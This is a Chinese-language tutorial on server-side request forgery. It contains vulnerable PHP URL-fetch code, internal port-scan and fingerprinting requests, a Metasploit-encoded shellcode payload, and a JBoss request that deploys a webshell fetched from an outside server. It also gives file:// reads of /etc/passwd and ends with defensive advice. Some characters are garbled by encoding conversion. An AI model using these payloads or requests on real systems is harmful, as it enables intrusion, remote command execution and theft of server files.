SSRF攻擊實例解析
ssrf攻擊概述
很多web應用都提供了從其他的服務器上獲取數(shù)據(jù)的功能。使用用戶指定的URL,web應用可以獲取圖片,下載文件,讀取文件內容等。這個功能如果被惡意使用,可以利用存在缺陷的web應用作為代理攻擊遠程和本地的服務器。這種形式的攻擊稱為服務端請求偽造攻擊(Server-side Request Forgery)。
比如下圖顯示的就是提供這種功能的典型應用:
如果應用程序對用戶提供的URL和遠端服務器返回的信息沒有進行合適的驗證和過濾,就可能存在這種服務端請求偽造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被發(fā)現(xiàn)過這種漏洞。攻擊者利用ssrf可以實現(xiàn)的攻擊主要有5種:
1.可以對外網(wǎng)、服務器所在內網(wǎng)、本地進行端口掃描,獲取一些服務的banner信息;
2.攻擊運行在內網(wǎng)或本地的應用程序(比如溢出);
3.對內網(wǎng)web應用進行指紋識別,通過訪問默認文件實現(xiàn);
4.攻擊內外網(wǎng)的web應用,主要是使用get參數(shù)就可以實現(xiàn)的攻擊(比如struts2,sqli等);
5.利用file協(xié)議讀取本地文件等。
常用的后端實現(xiàn)
ssrf攻擊可能存在任何語言編寫的應用,我們通過一些php實現(xiàn)的代碼來作為樣例分析。代碼的大部分來自于真實的應用源碼。
1,php file_get_contents:
- <?php
- if (isset($_POST['url']))
- {
- $content = file_get_contents($_POST['url']);
- $filename ='./images/'.rand().';img1.jpg';
- file_put_contents($filename, $content);
- echo $_POST['url'];
- $img = "<img src=\"".$filename."\"/>";
- }
- echo $img;
- ?>
這段代碼使用file_get_contents函數(shù)從用戶指定的url獲取圖片。然后把它用一個隨即文件名保存在硬盤上,并展示給用戶。
2,php fsockopen():
- <?php
- function GetFile($host,$port,$link)
- {
- $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
- if (!$fp) {
- echo "$errstr (error number $errno) \n";
- } else {
- $out = "GET $link HTTP/1.1\r\n";
- $out .= "Host: $host\r\n";
- $out .= "Connection: Close\r\n\r\n";
- $out .= "\r\n";
- fwrite($fp, $out);
- $contents='';
- while (!feof($fp)) {
- $contents.= fgets($fp, 1024);
- }
- fclose($fp);
- return $contents;
- }
- }
- ?>
這段代碼使用fsockopen函數(shù)實現(xiàn)獲取用戶制定url的數(shù)據(jù)(文件或者html)。這個函數(shù)會使用socket跟服務器建立tcp連接,傳輸原始數(shù)據(jù)。
3,php curl_exec():
- <?php
- if (isset($_POST['url']))
- {
- $link = $_POST['url'];
- $curlobj = curl_init();
- curl_setopt($curlobj, CURLOPT_POST, 0);
- curl_setopt($curlobj,CURLOPT_URL,$link);
- curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
- $result=curl_exec($curlobj);
- curl_close($curlobj);
- $filename = './curled/'.rand().'.txt';
- file_put_contents($filename, $result);
- echo $result;
- }
- ?>
這是另外一個很常見的實現(xiàn)。使用curl獲取數(shù)據(jù)。
攻擊場景
大部分的web服務器架構中,web服務器自身都可以訪問互聯(lián)網(wǎng)和服務器所在的內網(wǎng)。下圖展示了web服務器的請求可以到達的地方。
端口掃描
大多數(shù)社交網(wǎng)站都提供了通過用戶指定的url上傳圖片的功能。如果用戶輸入的url是無效的。大部分的web應用都會返回錯誤信息。攻擊者可以輸入一些不常見的但是有效的URI,比如
http://example.com:8080/dir/images/ http://example.com:22/dir/public/image.jpg http://example.com:3306/dir/images/
然后根據(jù)服務器的返回信息來判斷端口是否開放。大部分應用并不會去判斷端口,只要是有效的URL,就發(fā)出了請求。而大部分的TCP服務,在建立socket連接的時候就會發(fā)送banner信息,banner信息是ascii編碼的,能夠作為原始的html數(shù)據(jù)展示。當然,服務端在處理返回信息的時候一般不會直接展示,但是不同的錯誤碼,返回信息的長度以及返回時間都可以作為依據(jù)來判斷遠程服務器的端口狀態(tài)。
下面一個實現(xiàn)就可以用來做端口掃描:
- <?php
- if (isset($_POST['url']))
- {
- $link = $_POST['url'];
- $filename = './curled/'.rand().'txt';
- $curlobj = curl_init($link);
- $fp = fopen($filename,"w");
- curl_setopt($curlobj, CURLOPT_FILE, $fp);
- curl_setopt($curlobj, CURLOPT_HEADER, 0);
- curl_exec($curlobj);
- curl_close($curlobj);
- fclose($fp);
- $fp = fopen($filename,"r");
- $result = fread($fp, filesize($filename));
- fclose($fp);
- echo $result;
- }
- ?>
讀者可以使用如下表單提交測試(比較簡陋~~):
- <html><body>
- <form name="px" method="post" action="http://127.0.0.1/ss.php">
- <input type="text" name="url" value="">
- <input type="submit" name="commit" value="submit">
- </form>
- <script>
- </script>
- </body></html>
正常情況下,請求http://www.twitter.com/robots.txt 返回結果如下:
如果請求非http服務的端口,比如:http://scanme.nmap.org:22/test.txt 會返回banner信息
請求關閉的端口會報錯:http://scanme.nmap.org:25/test.txt
請求本地的mysql端口:http://127.0.0.1:3306/test.txt
當然大多數(shù)互聯(lián)網(wǎng)的應用并不會直接返回banner信息。不過可以通過前面說過的,處錯誤信息,響應時間,響應包大小來判斷。下面是Google的webmaster應用中,利用返回信息判斷端口狀態(tài)的案例.該缺陷Google已修復。
攻擊應用程序
內網(wǎng)的安全通常都很薄弱,溢出,弱口令等一般都是存在的。通過ssrf攻擊,可以實現(xiàn)對內網(wǎng)的訪問,從而可以攻擊內網(wǎng)或者本地機器,獲得shell等。
下面是用一個小程序本地來演示:
請求:http://127.0.0.1:8987/test.txt
探測到8987端口開放。
請求:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
這里是白盒分析,實戰(zhàn)的時候當然沒這個條件只能是利用已知漏洞來溢出。通過分析寫好exp。因為http是基于文本的協(xié)議,所以處理一些不可以打印的unicode字符會存在問題。這里使用msfencode來進行編碼。命令如下:
msfpayload widnows/exec CMD=calc.exe R | msfencode bufferRegister=ESP -e x86/alpha_mixed
最終payload如下:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @'ßwTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlhhm YUPWpWp3Pk9he01xRSTnkpRfPlKPRtLLKPR24NkbR7XDOMgszuvVQ9oeaKpllgL3QQl 5RFLWPiQJodM31JgKRHpaBPWNk3bvpLKsrWLwqZpLK1P0xMU9PSDCz7qZpf0NkQX6xn k2xUps1n3xcgL3yNkednkVayF4qKO5aKpnLIQJo4M31O76XIpbUzTdC3MHxGKamvDbU 8bchLKShEtgqhSQvLKtLRkNkShuLgqZslK5TlKVaZpoy3tGTWTqKqKsQ0YSjRqyoKP2 xCoSjnkwb8kLFqM0jFaNmLElyc05PC0pPsX6QlK0oOwkOyEOKhph5920VBHY6MEoMOm KON5Uls6SLUZMPykip2UfeoK3wfs422OBJs0Sc9oZuCSPaPl3SC0AA
溢出成功,彈出計算器。
大家也許會對http發(fā)送的數(shù)據(jù)是否能被其他服務器協(xié)議接收存在疑問。可以參考跨協(xié)議通信技術利用.#p#
內網(wǎng)web應用指紋識別
識別內網(wǎng)應用使用的框架,平臺,模塊以及cms可以為后續(xù)的攻擊提供很多幫助。大多數(shù)web應用框架都有一些獨特的文件和目錄。通過這些文件可以識別出應用的類型,甚至詳細的版本。根據(jù)這些信息就可以針對性的搜集漏洞進行攻擊。比如可以通過訪問下列文件來判斷phpMyAdmin是否安裝:
Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt
訪問 http://10.0.0.1/portName.js 可以判斷是否是Dlink 路由器
下面百度的案例來自于wooyun,已經(jīng)修復。通過訪問http://10.50.33.43:8080/manager/images/tomcat.gif 識別出服務器使用了tomcat。
攻擊內網(wǎng)web應用
僅僅通過get方法可以攻擊的web有很多,比如struts2命令執(zhí)行等。這里提供一個Jboss的案例,使用一個get請求即可部署webshell。
只需要將網(wǎng)馬放在公網(wǎng)服務器上,然后發(fā)送這個請求即可:
&name=jboss.system:service=MainDeployer&methodIndex=17 &arg0=http://our_public_internet_server/utils/cmd.war
通過加參數(shù)請求網(wǎng)馬執(zhí)行命令:http://127.0.0.1:8080/cmd/shell.jsp?x=dir
實戰(zhàn)中一般不會有回顯,類似于盲打只能。
讀取本地文件
上面提到的案例都是基于http請求的。如果我們指定file協(xié)議,也可能讀到服務器上的文件。如下的請求會讓應用讀取本地文件:
Request: file:///C:/Windows/win.ini
下面是Adobe的一個案例,已經(jīng)修復。請求為file:///etc/passwd
如何防御
通常有以下5個思路:
1,過濾返回信息,驗證遠程服務器對請求的響應是比較容易的方法。如果web應用是去獲取某一種類型的文件。那么在把返回結果展示給用戶之前先驗證返回的信息是否符合標準。
2, 統(tǒng)一錯誤信息,避免用戶可以根據(jù)錯誤信息來判斷遠端服務器的端口狀態(tài)。
3,限制請求的端口為http常用的端口,比如,80,443,8080,8090。
4,黑名單內網(wǎng)ip。避免應用被用來獲取獲取內網(wǎng)數(shù)據(jù),攻擊內網(wǎng)。
5,禁用不需要的協(xié)議。僅僅允許http和https請求。可以防止類似于file:///,gopher://,ftp:// 等引起的問題。
參考資料
http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html
http://evilcos.me/?p=2
http://www.wooyun.org
via riyazwalikar.com